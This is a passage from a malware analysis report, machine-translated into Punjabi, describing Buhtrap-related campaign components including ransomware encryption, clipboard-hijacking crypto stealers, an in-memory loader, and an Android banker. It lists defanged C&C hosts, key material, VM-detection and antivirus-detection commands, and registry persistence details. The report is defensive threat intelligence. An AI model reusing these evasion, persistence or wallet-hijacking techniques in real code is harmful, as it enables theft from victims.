ਇੱਕ ਵਾਰ ਚਲਾਇਆ ਗਿਆ, ਮਾਲਵੇਅਰ ਇੱਕ 512-ਬਿੱਟ RSA ਕੁੰਜੀ ਜੋੜਾ ਤਿਆਰ ਕਰਦਾ ਹੈ। ਪ੍ਰਾਈਵੇਟ ਐਕਸਪੋਨੈਂਟ (d) ਅਤੇ ਮਾਡਿਊਲਸ (n) ਨੂੰ ਫਿਰ ਇੱਕ ਹਾਰਡ-ਕੋਡਿਡ 2048-ਬਿੱਟ ਪਬਲਿਕ ਕੁੰਜੀ (ਪਬਲਿਕ ਐਕਸਪੋਨੈਂਟ ਅਤੇ ਮਾਡਿਊਲਸ), zlib-ਪੈਕਡ, ਅਤੇ ਬੇਸ64 ਏਨਕੋਡ ਨਾਲ ਐਨਕ੍ਰਿਪਟ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਇਸਦੇ ਲਈ ਜ਼ਿੰਮੇਵਾਰ ਕੋਡ ਚਿੱਤਰ 2 ਵਿੱਚ ਦਿਖਾਇਆ ਗਿਆ ਹੈ।

ਚਿੱਤਰ 2. 512-ਬਿੱਟ RSA ਕੁੰਜੀ ਜੋੜਾ ਬਣਾਉਣ ਦੀ ਪ੍ਰਕਿਰਿਆ ਦੇ ਹੈਕਸ-ਰੇਜ਼ ਡੀਕੰਪਿਲੇਸ਼ਨ ਦਾ ਨਤੀਜਾ।

ਹੇਠਾਂ ਇੱਕ ਜਨਰੇਟ ਕੀਤੀ ਪ੍ਰਾਈਵੇਟ ਕੁੰਜੀ ਦੇ ਨਾਲ ਸਾਦੇ ਟੈਕਸਟ ਦੀ ਇੱਕ ਉਦਾਹਰਨ ਹੈ, ਜੋ ਕਿ ਰਿਹਾਈ ਦੇ ਸੁਨੇਹੇ ਨਾਲ ਜੁੜਿਆ ਇੱਕ ਟੋਕਨ ਹੈ।

DF9228F4F3CA93314B7EE4BEFC440030665D5A2318111CC3FE91A43D781E3F91BD2F6383E4A0B4F503916D75C9C576D5C2F2F073ADD4B237F7A2B3BF129AE2F399197ECC0DD002D5E60C20CE3780AB9D1FE61A47D9735036907E3F0CF8BE09E3E7646F8388AAC75FF6A4F60E7F4C2F697BF6E47B2DBCDEC156EAD854CADE53A239

ਹਮਲਾਵਰਾਂ ਦੀ ਜਨਤਕ ਕੁੰਜੀ ਹੇਠਾਂ ਦਿੱਤੀ ਗਈ ਹੈ।

e = 0x72F750D7A93C2C88BFC87AD4FC0BF4CB45E3C55701FA03D3E75162EB5A97FDA7ACF8871B220A33BEDA546815A9AD9AA0C2F375686F5009C657BB3DF35145126C71E3C2EADF14201C8331699FD0592C957698916FA9FEA8F0B120E4296193AD7F3F3531206608E2A8F997307EE7D14A9326B77F1B34C4F1469B51665757AFD38E88F758B9EA1B95406E72B69172A7253F1DFAA0FA02B53A2CC3A7F0D708D1A8CAA30D954C1FEAB10AD089EFB041DD016DCAAE05847B550861E5CACC6A59B112277B60AC0E4E5D0EA89A5127E93C2182F77FDA16356F4EF5B7B4010BCCE1B1331FCABFFD808D7DAA86EA71DFD36D7E701BD0050235BD4D3F20A97AAEF301E785005
n = 0x212ED167BAC2AEFF7C3FA76064B56240C5530A63AB098C9B9FA2DE18AF9F4E1962B467ABE2302C818860F9215E922FC2E0E28C0946A0FC746557722EBB35DF432481AC7D5DDF69468AF1E952465E61DDD06CDB3D924345A8833A7BC7D5D9B005585FE95856F5C44EA917306415B767B684CC85E7359C23231C1DCBBE714711C08848BEB06BD287781AEB53D94B7983EC9FC338D4320129EA4F568C410317895860D5A85438B2DA6BB3BAAE9D9CE65BCEA6760291D74035775F28DF4E6AB1A748F78C68AB07EA166A7309090202BB3F8FBFC19E44AC0B4D3D0A37C8AA5FA90221DA7DB178F89233E532FF90B55122B53AB821E1A3DB0F02524429DEB294B3A4EDD

ਫਾਈਲਾਂ ਨੂੰ 128-ਬਿੱਟ ਕੁੰਜੀ ਨਾਲ AES-256-CBC ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਐਨਕ੍ਰਿਪਟ ਕੀਤਾ ਗਿਆ ਹੈ। ਹਰੇਕ ਇਨਕ੍ਰਿਪਟਡ ਫਾਈਲ ਲਈ, ਇੱਕ ਨਵੀਂ ਕੁੰਜੀ ਅਤੇ ਇੱਕ ਨਵਾਂ ਸ਼ੁਰੂਆਤੀ ਵੈਕਟਰ ਤਿਆਰ ਕੀਤਾ ਜਾਂਦਾ ਹੈ। ਮੁੱਖ ਜਾਣਕਾਰੀ ਨੂੰ ਐਨਕ੍ਰਿਪਟਡ ਫਾਈਲ ਦੇ ਅੰਤ ਵਿੱਚ ਜੋੜਿਆ ਜਾਂਦਾ ਹੈ. ਆਉ ਏਨਕ੍ਰਿਪਟਡ ਫਾਈਲ ਦੇ ਫਾਰਮੈਟ ਤੇ ਵਿਚਾਰ ਕਰੀਏ.
ਏਨਕ੍ਰਿਪਟਡ ਫਾਈਲਾਂ ਵਿੱਚ ਹੇਠਾਂ ਦਿੱਤੇ ਸਿਰਲੇਖ ਹਨ:

VEGA ਜਾਦੂ ਮੁੱਲ ਦੇ ਜੋੜ ਦੇ ਨਾਲ ਸਰੋਤ ਫਾਈਲ ਡੇਟਾ ਨੂੰ ਪਹਿਲੇ 0x5000 ਬਾਈਟਸ ਵਿੱਚ ਐਨਕ੍ਰਿਪਟ ਕੀਤਾ ਗਿਆ ਹੈ। ਸਾਰੀ ਡੀਕ੍ਰਿਪਸ਼ਨ ਜਾਣਕਾਰੀ ਹੇਠ ਦਿੱਤੇ ਢਾਂਚੇ ਵਾਲੀ ਇੱਕ ਫਾਈਲ ਨਾਲ ਜੁੜੀ ਹੋਈ ਹੈ:

- ਫਾਈਲ ਸਾਈਜ਼ ਮਾਰਕਰ ਵਿੱਚ ਇੱਕ ਨਿਸ਼ਾਨ ਹੁੰਦਾ ਹੈ ਜੋ ਇਹ ਦਰਸਾਉਂਦਾ ਹੈ ਕਿ ਕੀ ਫਾਈਲ ਆਕਾਰ ਵਿੱਚ 0x5000 ਬਾਈਟ ਤੋਂ ਵੱਡੀ ਹੈ
— AES ਕੁੰਜੀ ਬਲੌਬ = ZlibCompress(RSAEncrypt(AES ਕੁੰਜੀ + IV, ਤਿਆਰ ਕੀਤੀ RSA ਕੁੰਜੀ ਜੋੜੀ ਦੀ ਜਨਤਕ ਕੁੰਜੀ))
- RSA ਕੁੰਜੀ ਬਲੌਬ = ZlibCompress(RSAEncrypt(ਨਿਰਮਿਤ RSA ਪ੍ਰਾਈਵੇਟ ਕੁੰਜੀ, ਹਾਰਡ-ਕੋਡ ਵਾਲੀ RSA ਪਬਲਿਕ ਕੁੰਜੀ))

Win32/ClipBanker

Win32/ClipBanker ਇੱਕ ਅਜਿਹਾ ਹਿੱਸਾ ਹੈ ਜੋ ਅਕਤੂਬਰ ਦੇ ਅਖੀਰ ਤੋਂ ਦਸੰਬਰ 2018 ਦੇ ਸ਼ੁਰੂ ਵਿੱਚ ਰੁਕ-ਰੁਕ ਕੇ ਵੰਡਿਆ ਗਿਆ ਸੀ। ਇਸਦੀ ਭੂਮਿਕਾ ਕਲਿੱਪਬੋਰਡ ਦੀਆਂ ਸਮੱਗਰੀਆਂ ਦੀ ਨਿਗਰਾਨੀ ਕਰਨਾ ਹੈ, ਇਹ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਵਾਲਿਟ ਦੇ ਪਤੇ ਲੱਭਦਾ ਹੈ. ਟੀਚੇ ਵਾਲੇ ਵਾਲਿਟ ਐਡਰੈੱਸ ਨੂੰ ਨਿਰਧਾਰਤ ਕਰਨ ਤੋਂ ਬਾਅਦ, ClipBanker ਇਸਨੂੰ ਓਪਰੇਟਰਾਂ ਨਾਲ ਸਬੰਧਤ ਮੰਨੇ ਜਾਣ ਵਾਲੇ ਪਤੇ ਨਾਲ ਬਦਲ ਦਿੰਦਾ ਹੈ। ਜਿਨ੍ਹਾਂ ਨਮੂਨਿਆਂ ਦੀ ਅਸੀਂ ਜਾਂਚ ਕੀਤੀ, ਉਹ ਨਾ ਤਾਂ ਬਾਕਸ ਕੀਤੇ ਗਏ ਸਨ ਅਤੇ ਨਾ ਹੀ ਗੁੰਝਲਦਾਰ ਸਨ। ਵਿਵਹਾਰ ਨੂੰ ਨਕਾਬ ਪਾਉਣ ਲਈ ਵਰਤਿਆ ਜਾਣ ਵਾਲਾ ਇੱਕੋ ਇੱਕ ਤਰੀਕਾ ਹੈ ਸਟ੍ਰਿੰਗ ਐਨਕ੍ਰਿਪਸ਼ਨ। ਆਪਰੇਟਰ ਵਾਲਿਟ ਪਤੇ RC4 ਦੀ ਵਰਤੋਂ ਕਰਕੇ ਐਨਕ੍ਰਿਪਟ ਕੀਤੇ ਗਏ ਹਨ। ਟਾਰਗੇਟ ਕ੍ਰਿਪਟੋਕਰੰਸੀਜ਼ ਬਿਟਕੋਇਨ, ਬਿਟਕੋਇਨ ਕੈਸ਼, ਡੋਗੇਕੋਇਨ, ਈਥਰਿਅਮ ਅਤੇ ਰਿਪਲ ਹਨ।

ਇਸ ਮਿਆਦ ਦੇ ਦੌਰਾਨ ਮਾਲਵੇਅਰ ਹਮਲਾਵਰਾਂ ਦੇ ਬਿਟਕੋਇਨ ਵਾਲਿਟ ਵਿੱਚ ਫੈਲ ਰਿਹਾ ਸੀ, VTS ਨੂੰ ਇੱਕ ਛੋਟੀ ਜਿਹੀ ਰਕਮ ਭੇਜੀ ਗਈ ਸੀ, ਜੋ ਮੁਹਿੰਮ ਦੀ ਸਫਲਤਾ 'ਤੇ ਸ਼ੱਕ ਪੈਦਾ ਕਰਦੀ ਹੈ। ਇਸ ਤੋਂ ਇਲਾਵਾ, ਇਸ ਗੱਲ ਦਾ ਕੋਈ ਸਬੂਤ ਨਹੀਂ ਹੈ ਕਿ ਇਹ ਲੈਣ-ਦੇਣ ClipBanker ਨਾਲ ਸਬੰਧਤ ਸਨ।

Win32/RTM

Win32/RTM ਕੰਪੋਨੈਂਟ ਮਾਰਚ 2019 ਦੇ ਸ਼ੁਰੂ ਵਿੱਚ ਕਈ ਦਿਨਾਂ ਲਈ ਵੰਡਿਆ ਗਿਆ ਸੀ। RTM ਇੱਕ ਟਰੋਜਨ ਬੈਂਕਰ ਹੈ ਜੋ ਡੇਲਫੀ ਵਿੱਚ ਲਿਖਿਆ ਗਿਆ ਹੈ, ਜਿਸਦਾ ਉਦੇਸ਼ ਰਿਮੋਟ ਬੈਂਕਿੰਗ ਸਿਸਟਮ ਹੈ। 2017 ਵਿੱਚ, ESET ਖੋਜਕਰਤਾਵਾਂ ਨੇ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤਾ ਵਿਸਤ੍ਰਿਤ ਵਿਸ਼ਲੇਸ਼ਣ ਇਸ ਪ੍ਰੋਗਰਾਮ ਦਾ, ਵਰਣਨ ਅਜੇ ਵੀ ਢੁਕਵਾਂ ਹੈ। ਜਨਵਰੀ 2019 ਵਿੱਚ, ਪਾਲੋ ਆਲਟੋ ਨੈੱਟਵਰਕਸ ਨੇ ਵੀ ਜਾਰੀ ਕੀਤਾ RTM ਬਾਰੇ ਬਲੌਗ ਪੋਸਟ.

ਬੁਹਟਰੈਪ ਲੋਡਰ

ਕੁਝ ਸਮੇਂ ਲਈ, ਇੱਕ ਡਾਊਨਲੋਡਰ GitHub 'ਤੇ ਉਪਲਬਧ ਸੀ ਜੋ ਕਿ ਪਿਛਲੇ ਬੁਹਟਰੈਪ ਟੂਲਸ ਵਰਗਾ ਨਹੀਂ ਸੀ। ਉਹ ਵੱਲ ਮੁੜਦਾ ਹੈ https://94.100.18[.]67/RSS.php?<some_id> ਅਗਲਾ ਪੜਾਅ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਅਤੇ ਇਸਨੂੰ ਸਿੱਧੇ ਮੈਮੋਰੀ ਵਿੱਚ ਲੋਡ ਕਰਦਾ ਹੈ। ਅਸੀਂ ਦੂਜੇ ਪੜਾਅ ਦੇ ਕੋਡ ਦੇ ਦੋ ਵਿਹਾਰਾਂ ਨੂੰ ਵੱਖ ਕਰ ਸਕਦੇ ਹਾਂ। ਪਹਿਲੇ URL ਵਿੱਚ, RSS.php ਨੇ ਬੁਹਟਰੈਪ ਬੈਕਡੋਰ ਨੂੰ ਸਿੱਧਾ ਪਾਸ ਕੀਤਾ - ਇਹ ਬੈਕਡੋਰ ਸਰੋਤ ਕੋਡ ਦੇ ਲੀਕ ਹੋਣ ਤੋਂ ਬਾਅਦ ਉਪਲਬਧ ਇੱਕ ਦੇ ਸਮਾਨ ਹੈ।

ਦਿਲਚਸਪ ਗੱਲ ਇਹ ਹੈ ਕਿ, ਅਸੀਂ ਬੁਹਟਰੈਪ ਬੈਕਡੋਰ ਨਾਲ ਕਈ ਮੁਹਿੰਮਾਂ ਦੇਖਦੇ ਹਾਂ, ਅਤੇ ਉਹ ਕਥਿਤ ਤੌਰ 'ਤੇ ਵੱਖ-ਵੱਖ ਓਪਰੇਟਰਾਂ ਦੁਆਰਾ ਚਲਾਈਆਂ ਜਾਂਦੀਆਂ ਹਨ। ਇਸ ਕੇਸ ਵਿੱਚ, ਮੁੱਖ ਅੰਤਰ ਇਹ ਹੈ ਕਿ ਬੈਕਡੋਰ ਸਿੱਧੇ ਮੈਮੋਰੀ ਵਿੱਚ ਲੋਡ ਕੀਤਾ ਜਾਂਦਾ ਹੈ ਅਤੇ ਡੀਐਲਐਲ ਤੈਨਾਤੀ ਪ੍ਰਕਿਰਿਆ ਦੇ ਨਾਲ ਆਮ ਸਕੀਮ ਦੀ ਵਰਤੋਂ ਨਹੀਂ ਕਰਦਾ ਜਿਸ ਬਾਰੇ ਅਸੀਂ ਗੱਲ ਕੀਤੀ ਹੈ. ਪਹਿਲਾਂ. ਇਸ ਤੋਂ ਇਲਾਵਾ, ਆਪਰੇਟਰਾਂ ਨੇ C&C ਸਰਵਰ ਲਈ ਨੈੱਟਵਰਕ ਟ੍ਰੈਫਿਕ ਨੂੰ ਐਨਕ੍ਰਿਪਟ ਕਰਨ ਲਈ ਵਰਤੀ ਗਈ RC4 ਕੁੰਜੀ ਨੂੰ ਬਦਲ ਦਿੱਤਾ। ਜ਼ਿਆਦਾਤਰ ਮੁਹਿੰਮਾਂ ਵਿੱਚ ਜੋ ਅਸੀਂ ਦੇਖਿਆ ਹੈ, ਓਪਰੇਟਰਾਂ ਨੇ ਇਸ ਕੁੰਜੀ ਨੂੰ ਬਦਲਣ ਦੀ ਖੇਚਲ ਨਹੀਂ ਕੀਤੀ।

ਦੂਜਾ, ਵਧੇਰੇ ਗੁੰਝਲਦਾਰ ਵਿਵਹਾਰ ਇਹ ਸੀ ਕਿ RSS.php URL ਨੂੰ ਕਿਸੇ ਹੋਰ ਲੋਡਰ ਨੂੰ ਪਾਸ ਕੀਤਾ ਗਿਆ ਸੀ। ਇਸਨੇ ਕੁਝ ਰੁਕਾਵਟਾਂ ਨੂੰ ਲਾਗੂ ਕੀਤਾ, ਜਿਵੇਂ ਕਿ ਗਤੀਸ਼ੀਲ ਆਯਾਤ ਸਾਰਣੀ ਨੂੰ ਦੁਬਾਰਾ ਬਣਾਉਣਾ। ਬੂਟਲੋਡਰ ਦਾ ਉਦੇਸ਼ C&C ਸਰਵਰ ਨਾਲ ਸੰਪਰਕ ਕਰਨਾ ਹੈ msiofficeupd[.]com/api/F27F84EDA4D13B15/2, ਲੌਗ ਭੇਜੋ ਅਤੇ ਜਵਾਬ ਦੀ ਉਡੀਕ ਕਰੋ। ਇਹ ਜਵਾਬ ਨੂੰ ਬਲੌਬ ਦੇ ਰੂਪ ਵਿੱਚ ਪ੍ਰੋਸੈਸ ਕਰਦਾ ਹੈ, ਇਸਨੂੰ ਮੈਮੋਰੀ ਵਿੱਚ ਲੋਡ ਕਰਦਾ ਹੈ ਅਤੇ ਇਸਨੂੰ ਚਲਾਉਂਦਾ ਹੈ। ਪੇਲੋਡ ਜੋ ਅਸੀਂ ਇਸ ਲੋਡਰ ਨੂੰ ਚਲਾਉਂਦੇ ਹੋਏ ਦੇਖਿਆ ਹੈ ਉਹੀ ਬੁਹਟਰੈਪ ਬੈਕਡੋਰ ਸੀ, ਪਰ ਹੋਰ ਵੀ ਹਿੱਸੇ ਹੋ ਸਕਦੇ ਹਨ।

Android/Spy.Banker

ਦਿਲਚਸਪ ਗੱਲ ਇਹ ਹੈ ਕਿ GitHub ਰਿਪੋਜ਼ਟਰੀ ਵਿੱਚ ਐਂਡਰੌਇਡ ਲਈ ਇੱਕ ਕੰਪੋਨੈਂਟ ਵੀ ਪਾਇਆ ਗਿਆ ਸੀ। ਉਹ ਮੁੱਖ ਸ਼ਾਖਾ ਵਿੱਚ ਸਿਰਫ਼ ਇੱਕ ਦਿਨ ਲਈ ਸੀ - 1 ਨਵੰਬਰ, 2018। GitHub 'ਤੇ ਪੋਸਟ ਕੀਤੇ ਜਾਣ ਤੋਂ ਇਲਾਵਾ, ESET ਟੈਲੀਮੈਟਰੀ ਨੂੰ ਇਸ ਮਾਲਵੇਅਰ ਦੇ ਵੰਡੇ ਜਾਣ ਦਾ ਕੋਈ ਸਬੂਤ ਨਹੀਂ ਮਿਲਦਾ।

ਕੰਪੋਨੈਂਟ ਨੂੰ ਇੱਕ ਐਂਡਰੌਇਡ ਐਪਲੀਕੇਸ਼ਨ ਪੈਕੇਜ (APK) ਵਜੋਂ ਹੋਸਟ ਕੀਤਾ ਗਿਆ ਸੀ। ਇਹ ਬਹੁਤ ਜ਼ਿਆਦਾ ਉਲਝਿਆ ਹੋਇਆ ਹੈ। ਏਪੀਕੇ ਵਿੱਚ ਸਥਿਤ ਇੱਕ ਏਨਕ੍ਰਿਪਟਡ JAR ਵਿੱਚ ਖਤਰਨਾਕ ਵਿਵਹਾਰ ਲੁਕਿਆ ਹੋਇਆ ਹੈ। ਇਹ ਇਸ ਕੁੰਜੀ ਦੀ ਵਰਤੋਂ ਕਰਕੇ RC4 ਨਾਲ ਐਨਕ੍ਰਿਪਟ ਕੀਤਾ ਗਿਆ ਹੈ:

key = [
0x87, 0xd6, 0x2e, 0x66, 0xc5, 0x8a, 0x26, 0x00, 0x72, 0x86, 0x72, 0x6f,
0x0c, 0xc1, 0xdb, 0xcb, 0x14, 0xd2, 0xa8, 0x19, 0xeb, 0x85, 0x68, 0xe1,
0x2f, 0xad, 0xbe, 0xe3, 0xb9, 0x60, 0x9b, 0xb9, 0xf4, 0xa0, 0xa2, 0x8b, 0x96
]

ਉਹੀ ਕੁੰਜੀ ਅਤੇ ਐਲਗੋਰਿਦਮ ਸਤਰ ਨੂੰ ਐਨਕ੍ਰਿਪਟ ਕਰਨ ਲਈ ਵਰਤਿਆ ਜਾਂਦਾ ਹੈ। JAR ਵਿੱਚ ਸਥਿਤ ਹੈ APK_ROOT + image/files. ਫਾਈਲ ਦੇ ਪਹਿਲੇ 4 ਬਾਈਟਾਂ ਵਿੱਚ ਐਨਕ੍ਰਿਪਟਡ JAR ਦੀ ਲੰਬਾਈ ਹੁੰਦੀ ਹੈ, ਜੋ ਲੰਬਾਈ ਖੇਤਰ ਤੋਂ ਤੁਰੰਤ ਬਾਅਦ ਸ਼ੁਰੂ ਹੁੰਦੀ ਹੈ।

ਫਾਈਲ ਨੂੰ ਡੀਕ੍ਰਿਪਟ ਕਰਨ ਤੋਂ ਬਾਅਦ, ਸਾਨੂੰ ਪਤਾ ਲੱਗਾ ਕਿ ਇਹ ਐਨੂਬਿਸ ਸੀ - ਪਹਿਲਾਂ ਦਸਤਾਵੇਜ਼ੀ ਐਂਡਰੌਇਡ ਲਈ ਬੈਂਕਰ। ਮਾਲਵੇਅਰ ਵਿੱਚ ਹੇਠ ਲਿਖੀਆਂ ਵਿਸ਼ੇਸ਼ਤਾਵਾਂ ਹਨ:

• ਮਾਈਕ੍ਰੋਫੋਨ ਰਿਕਾਰਡਿੰਗ
• ਸਕਰੀਨਸ਼ਾਟ ਲੈਣਾ
• GPS ਕੋਆਰਡੀਨੇਟ ਪ੍ਰਾਪਤ ਕਰਨਾ
• keylogger
• ਡਿਵਾਈਸ ਡਾਟਾ ਐਨਕ੍ਰਿਪਸ਼ਨ ਅਤੇ ਰਿਹਾਈ ਦੀ ਮੰਗ
• ਸਪੈਮ ਭੇਜਣਾ

ਦਿਲਚਸਪ ਗੱਲ ਇਹ ਹੈ ਕਿ, ਬੈਂਕਰ ਨੇ ਇੱਕ ਹੋਰ C&C ਸਰਵਰ ਪ੍ਰਾਪਤ ਕਰਨ ਲਈ ਟਵਿੱਟਰ ਨੂੰ ਇੱਕ ਬੈਕਅੱਪ ਸੰਚਾਰ ਚੈਨਲ ਵਜੋਂ ਵਰਤਿਆ। ਸਾਡੇ ਦੁਆਰਾ ਵਿਸ਼ਲੇਸ਼ਣ ਕੀਤੇ ਗਏ ਨਮੂਨੇ ਨੇ @JonesTrader ਖਾਤੇ ਦੀ ਵਰਤੋਂ ਕੀਤੀ, ਪਰ ਵਿਸ਼ਲੇਸ਼ਣ ਦੇ ਸਮੇਂ ਇਹ ਪਹਿਲਾਂ ਹੀ ਬਲੌਕ ਕੀਤਾ ਗਿਆ ਸੀ।

ਬੈਂਕਰ ਵਿੱਚ ਐਂਡਰੌਇਡ ਡਿਵਾਈਸ 'ਤੇ ਟਾਰਗੇਟ ਐਪਲੀਕੇਸ਼ਨਾਂ ਦੀ ਇੱਕ ਸੂਚੀ ਹੁੰਦੀ ਹੈ। ਇਹ ਸੋਫੋਸ ਅਧਿਐਨ ਵਿੱਚ ਪ੍ਰਾਪਤ ਸੂਚੀ ਤੋਂ ਲੰਬਾ ਹੈ। ਸੂਚੀ ਵਿੱਚ ਬਹੁਤ ਸਾਰੀਆਂ ਬੈਂਕਿੰਗ ਐਪਲੀਕੇਸ਼ਨਾਂ, ਔਨਲਾਈਨ ਸ਼ਾਪਿੰਗ ਪ੍ਰੋਗਰਾਮ ਜਿਵੇਂ ਕਿ ਐਮਾਜ਼ਾਨ ਅਤੇ ਈਬੇ, ਅਤੇ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਸੇਵਾਵਾਂ ਸ਼ਾਮਲ ਹਨ।

MSIL/ClipBanker.IH

ਇਸ ਮੁਹਿੰਮ ਦੇ ਹਿੱਸੇ ਵਜੋਂ ਵੰਡਿਆ ਗਿਆ ਆਖਰੀ ਹਿੱਸਾ .NET ਵਿੰਡੋਜ਼ ਐਗਜ਼ੀਕਿਊਟੇਬਲ ਸੀ, ਜੋ ਮਾਰਚ 2019 ਵਿੱਚ ਪ੍ਰਗਟ ਹੋਇਆ ਸੀ। ਅਧਿਐਨ ਕੀਤੇ ਗਏ ਜ਼ਿਆਦਾਤਰ ਸੰਸਕਰਣ ConfuserEx v1.0.0 ਨਾਲ ਪੈਕ ਕੀਤੇ ਗਏ ਸਨ। ਕਲਿੱਪਬੈਂਕਰ ਵਾਂਗ, ਇਹ ਕੰਪੋਨੈਂਟ ਕਲਿੱਪਬੋਰਡ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ। ਉਸਦਾ ਟੀਚਾ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਦੀ ਇੱਕ ਵਿਸ਼ਾਲ ਸ਼੍ਰੇਣੀ ਹੈ, ਅਤੇ ਨਾਲ ਹੀ ਭਾਫ 'ਤੇ ਪੇਸ਼ਕਸ਼ਾਂ. ਇਸ ਤੋਂ ਇਲਾਵਾ, ਉਹ ਬਿਟਕੋਇਨ ਪ੍ਰਾਈਵੇਟ WIF ਕੁੰਜੀ ਨੂੰ ਚੋਰੀ ਕਰਨ ਲਈ IP ਲੌਗਰ ਸੇਵਾ ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ।

ਸੁਰੱਖਿਆ ਵਿਧੀ
ਡੀਬੱਗਿੰਗ, ਡੰਪਿੰਗ ਅਤੇ ਛੇੜਛਾੜ ਨੂੰ ਰੋਕਣ ਵਿੱਚ ConfuserEx ਦੁਆਰਾ ਪ੍ਰਦਾਨ ਕੀਤੇ ਜਾਣ ਵਾਲੇ ਲਾਭਾਂ ਤੋਂ ਇਲਾਵਾ, ਕੰਪੋਨੈਂਟ ਵਿੱਚ ਐਂਟੀਵਾਇਰਸ ਉਤਪਾਦਾਂ ਅਤੇ ਵਰਚੁਅਲ ਮਸ਼ੀਨਾਂ ਦਾ ਪਤਾ ਲਗਾਉਣ ਦੀ ਯੋਗਤਾ ਸ਼ਾਮਲ ਹੈ।

ਇਹ ਪੁਸ਼ਟੀ ਕਰਨ ਲਈ ਕਿ ਇਹ ਇੱਕ ਵਰਚੁਅਲ ਮਸ਼ੀਨ ਵਿੱਚ ਚੱਲਦਾ ਹੈ, ਮਾਲਵੇਅਰ BIOS ਜਾਣਕਾਰੀ ਦੀ ਬੇਨਤੀ ਕਰਨ ਲਈ ਬਿਲਟ-ਇਨ ਵਿੰਡੋਜ਼ WMI ਕਮਾਂਡ ਲਾਈਨ (WMIC) ਦੀ ਵਰਤੋਂ ਕਰਦਾ ਹੈ, ਅਰਥਾਤ:

wmic bios

ਫਿਰ ਪ੍ਰੋਗਰਾਮ ਕਮਾਂਡ ਆਉਟਪੁੱਟ ਨੂੰ ਪਾਰਸ ਕਰਦਾ ਹੈ ਅਤੇ ਕੀਵਰਡਸ ਦੀ ਖੋਜ ਕਰਦਾ ਹੈ: VBOX, VirtualBox, XEN, qemu, bochs, VM.

ਐਂਟੀਵਾਇਰਸ ਉਤਪਾਦਾਂ ਦਾ ਪਤਾ ਲਗਾਉਣ ਲਈ, ਮਾਲਵੇਅਰ ਵਿੰਡੋਜ਼ ਮੈਨੇਜਮੈਂਟ ਇੰਸਟਰੂਮੈਂਟੇਸ਼ਨ (WMI) ਦੀ ਬੇਨਤੀ ਨੂੰ ਵਿੰਡੋਜ਼ ਸੁਰੱਖਿਆ ਕੇਂਦਰ ਨੂੰ ਭੇਜਦਾ ਹੈ ManagementObjectSearcher API ਜਿਵੇਂ ਕਿ ਹੇਠਾਂ ਦਿਖਾਇਆ ਗਿਆ ਹੈ। ਬੇਸ 64 ਤੋਂ ਡੀਕੋਡ ਕਰਨ ਤੋਂ ਬਾਅਦ ਕਾਲ ਇਸ ਤਰ੍ਹਾਂ ਦਿਖਾਈ ਦਿੰਦੀ ਹੈ:

ManagementObjectSearcher('rootSecurityCenter2', 'SELECT * FROM AntivirusProduct')

ਚਿੱਤਰ 3. ਐਂਟੀਵਾਇਰਸ ਉਤਪਾਦਾਂ ਦੀ ਪਛਾਣ ਕਰਨ ਦੀ ਪ੍ਰਕਿਰਿਆ।

ਇਸ ਤੋਂ ਇਲਾਵਾ, ਮਾਲਵੇਅਰ ਜਾਂਚ ਕਰਦਾ ਹੈ ਕਿ ਕੀ CryptoClipWatcher, ਕਲਿੱਪਬੋਰਡ ਹਮਲਿਆਂ ਤੋਂ ਬਚਾਉਣ ਲਈ ਇੱਕ ਸੰਦ ਹੈ ਅਤੇ, ਜੇਕਰ ਚੱਲ ਰਿਹਾ ਹੈ, ਤਾਂ ਉਸ ਪ੍ਰਕਿਰਿਆ ਵਿੱਚ ਸਾਰੇ ਥ੍ਰੈਡਾਂ ਨੂੰ ਮੁਅੱਤਲ ਕਰ ਦਿੰਦਾ ਹੈ, ਜਿਸ ਨਾਲ ਸੁਰੱਖਿਆ ਨੂੰ ਅਸਮਰੱਥ ਕੀਤਾ ਜਾਂਦਾ ਹੈ।

ਦ੍ਰਿੜਤਾ

ਮਾਲਵੇਅਰ ਦਾ ਜਿਸ ਸੰਸਕਰਣ ਦਾ ਅਸੀਂ ਅਧਿਐਨ ਕੀਤਾ ਹੈ, ਉਹ ਆਪਣੇ ਆਪ ਵਿੱਚ ਕਾਪੀ ਕਰਦਾ ਹੈ %APPDATA%googleupdater.exe ਅਤੇ ਗੂਗਲ ਡਾਇਰੈਕਟਰੀ ਲਈ "ਲੁਕਿਆ" ਗੁਣ ਸੈਟ ਕਰਦਾ ਹੈ। ਫਿਰ ਉਹ ਮੁੱਲ ਬਦਲਦੀ ਹੈ SoftwareMicrosoftWindows NTCurrentVersionWinlogonshell ਵਿੰਡੋਜ਼ ਰਜਿਸਟਰੀ ਵਿੱਚ ਅਤੇ ਮਾਰਗ ਜੋੜਦਾ ਹੈ updater.exe. ਇਸ ਤਰ੍ਹਾਂ, ਯੂਜ਼ਰ ਦੁਆਰਾ ਹਰ ਵਾਰ ਲੌਗਇਨ ਕਰਨ 'ਤੇ ਮਾਲਵੇਅਰ ਨੂੰ ਐਗਜ਼ੀਕਿਊਟ ਕੀਤਾ ਜਾਵੇਗਾ।

ਖ਼ਰਾਬ ਵਿਹਾਰ

ਕਲਿੱਪਬੈਂਕਰ ਵਾਂਗ, ਮਾਲਵੇਅਰ ਕਲਿੱਪਬੋਰਡ ਦੀਆਂ ਸਮੱਗਰੀਆਂ ਦੀ ਨਿਗਰਾਨੀ ਕਰਦਾ ਹੈ ਅਤੇ ਕ੍ਰਿਪਟੋਕੁਰੰਸੀ ਵਾਲੇਟ ਪਤਿਆਂ ਦੀ ਖੋਜ ਕਰਦਾ ਹੈ, ਅਤੇ ਜਦੋਂ ਮਿਲਦਾ ਹੈ, ਤਾਂ ਇਸਨੂੰ ਆਪਰੇਟਰ ਦੇ ਪਤਿਆਂ ਵਿੱਚੋਂ ਇੱਕ ਨਾਲ ਬਦਲ ਦਿੰਦਾ ਹੈ। ਕੋਡ ਵਿੱਚ ਕੀ ਪਾਇਆ ਗਿਆ ਹੈ ਦੇ ਅਧਾਰ ਤੇ ਹੇਠਾਂ ਨਿਸ਼ਾਨਾ ਪਤਿਆਂ ਦੀ ਇੱਕ ਸੂਚੀ ਹੈ।

